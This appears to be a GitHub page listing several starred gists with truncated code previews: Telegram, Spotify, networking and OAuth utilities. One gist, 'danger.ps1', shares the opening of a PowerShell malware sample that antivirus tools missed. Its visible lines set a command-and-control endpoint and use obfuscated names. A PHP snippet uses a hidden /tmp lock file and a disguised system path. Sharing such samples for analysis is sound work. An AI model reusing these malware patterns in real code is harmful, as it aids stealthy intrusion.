Skip to content

Instantly share code, notes, and snippets.

View ALiwoto's full-sized avatar
🚩
Trying to experience new things

ALi.w ALiwoto

🚩
Trying to experience new things
  • Earth. under the blue sky
  • 12:33 (UTC +03:30)
View GitHub Profile
@infernoboy
infernoboy / danger.ps1
Created April 8, 2022 23:39
This script was found in a malicious file not being detected by any AV as reported by virustotal
$scriptItem = Get-Item -Path $MyInvocation.MyCommand.Path;
$OS_Major = [System.Environment]::OSVersion.Version.Major.ToString() + "." + [System.Environment]::OSVersion.Version.Minor.ToString();
$EndPointURL = "http://api.private-chatting.com/connect";
$__Version__ = "M_37";
[string]$WorkerEnHandle = [Guid]::NewGuid().ToString();
[System.Threading.EventWaitHandle]$WorkerEn = [System.Threading.EventWaitHandle]::new($true, [System.Threading.EventResetMode]::ManualReset, $WorkerEnHandle);
function XF3a8JO3r5r8G([string] $str) {
return [System.Environment]::ExpandEnvironmentVariables("%" + $str + "%")
}
@ii64
ii64 / evloop.go
Created February 10, 2022 20:46
gouring evloop implemetation
package main
import (
"fmt"
"io"
"log"
"net"
"net/http"
"runtime"
"sync/atomic"
<?php
chdir("/opt/systemd/linux2");
$handle = fopen("/tmp/.linux.git_lock", "a");
while (!flock($handle, LOCK_EX | LOCK_NB)) {
printf("Waiting for the lock...\n");
sleep(1);
}
function ca($str)
@PaulSonOfLars
PaulSonOfLars / inlineQueryUnhash.go
Created December 24, 2021 09:56
Telegram Inline query unhasher
import (
"bytes"
"encoding/base64"
"encoding/binary"
"fmt"
"strconv"
)
func UnpackInlineMessageId(inlineMessageId string) (int64, int64, int64, int64, error) {
bs, err := base64.RawURLEncoding.DecodeString(inlineMessageId)
@Priler
Priler / chat_server.cpp
Last active December 5, 2022 11:22
??? :3
/* Лол, код из архива - файл датируется 2017 годом.
Написан был после недели изучения C++.
Реализует серверную часть чата на клиенте.
Код не полный, писался на скорую руку - так сказать proof of concept.
О, и да - семафоры это круто :3 */
#include <iostream>
#include <string>
#include <stdio.h>
#include <cstring>
#include <stdlib.h>
@ALiwoto
ALiwoto / nana_spotify.py
Created July 31, 2021 11:46
Spotify module which was going to be used in Nana (by Sayan Biswas)
from httpx import AsyncClient
class SpotifyUser:
authorize_url = "https://accounts.spotify.com/authorize"
token_url = "https://accounts.spotify.com/api/token"
def __init__(self, client_id, client_secret, redirect_uri):
self.client_id = client_id
self.client_secret = client_secret
@ALiwoto
ALiwoto / Dank.cs
Created July 27, 2021 10:23
Dank class for showing how to send a graphquery in C#
using System;
using System.Net;
using System.Text;
using System.IO;
using System.Collections;
using System.Net.Http;
using System.Threading.Tasks;
using System.Text.Json.Serialization;
using System.Text.Json;
// SPDX-License-Identifier: GPL-2.0
/*
* @author Ammar Faizi <[email protected]> https://www.facebook.com/ammarfaizi2
* @license GPL-2.0
* @package tgvisd::Main::Preload
*
* Copyright (C) 2021 Ammar Faizi <[email protected]>
*/
#if defined(__linux__)

Keybase proof

I hereby claim:

  • I am jetstreamin on github.
  • I am dysk0n3kt (https://keybase.io/dysk0n3kt) on keybase.
  • I have a public key ASAx8H2rgt-74CDv7SGAuwcWvbA67ooI0WNLhIl6_UHMPwo

To claim this, I am signing this object:

@ZipFile
ZipFile / README.md
Last active May 9, 2025 17:09
Pixiv OAuth Flow

Retrieving Auth Token

  1. Run the command:

    python pixiv_auth.py login

    This will open the browser with Pixiv login page.